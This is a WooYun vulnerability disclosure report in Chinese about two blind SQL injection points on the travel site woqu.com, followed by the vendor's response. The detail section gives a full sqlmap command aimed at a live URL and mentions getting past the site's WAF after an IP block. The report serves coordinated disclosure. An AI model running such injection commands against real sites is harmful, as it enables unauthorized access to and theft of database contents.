漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076498
漏洞标题：我趣旅行网两处SQL盲注漏洞（可获取敏感数据）
相关厂商：www.woqu.com
漏洞作者： ihacku
提交时间：2014-09-18 14:53
修复时间：2014-11-02 14:54
公开时间：2014-11-02 14:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-18： 细节已通知厂商并且等待厂商处理中
2014-09-18： 厂商已经确认，细节仅向厂商公开
2014-09-28： 细节向核心白帽子及相关领域专家公开
2014-10-08： 细节向普通白帽子公开
2014-10-18： 细节向实习白帽子公开
2014-11-02： 细节向公众公开
简要描述：
早上在36kr看到你们拿了腾讯投资，恭喜啊。 顺手测一下，发现两个注入点，估计其他还有，留给其他白帽子试试。 来说点非安全的吧，主站双线，没用cdn，css等文件放在了dn-woqu.qbox.me子域下面，是网宿的cdn，然后图片放在了cdn.woqu.com没用cdn，还有几张404了的，都没压缩...
Google统计国内访问不了，可能会拖慢网页速度，其他百度统计和cnzz留一个吧。 nginx还在1.0版本，建议换成tengine；jquery也有点老的，挖前端牛人吧，那代码说多了伤感情，前端好好优化优化载入速度能提升一半你信不信。
详细说明：
hotelCode 和 key 存在sql盲注
./sqlmap.py -u "http://www.woqu.com/hotel/search/lc-USLAX;sd-20140925;ed-20140926;prf-0;prt-100000;str-0;st-mt;p-5?hotelCode=1&key=1" -p hotelCode --is-dba --dbms=mysql --no-cast --level 5
漏洞证明：
貌似有WAF，Linux的机器ip被封了，只好在windows下面跑了
修复方案：
过滤
版权声明：转载请注明来源 ihacku@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-09-18 16:23
厂商回复：
非常感谢漏洞探测，今天早上我们已经发现有大量注入请求，目前已经限制数据库业务权限，同时将问题代码解决掉，另外提到的前端问题，cdn那个有几个图片是遗漏了没有替换正确URL，统计代码已经在删减中，我们会努力做到更好的
最新状态：
暂无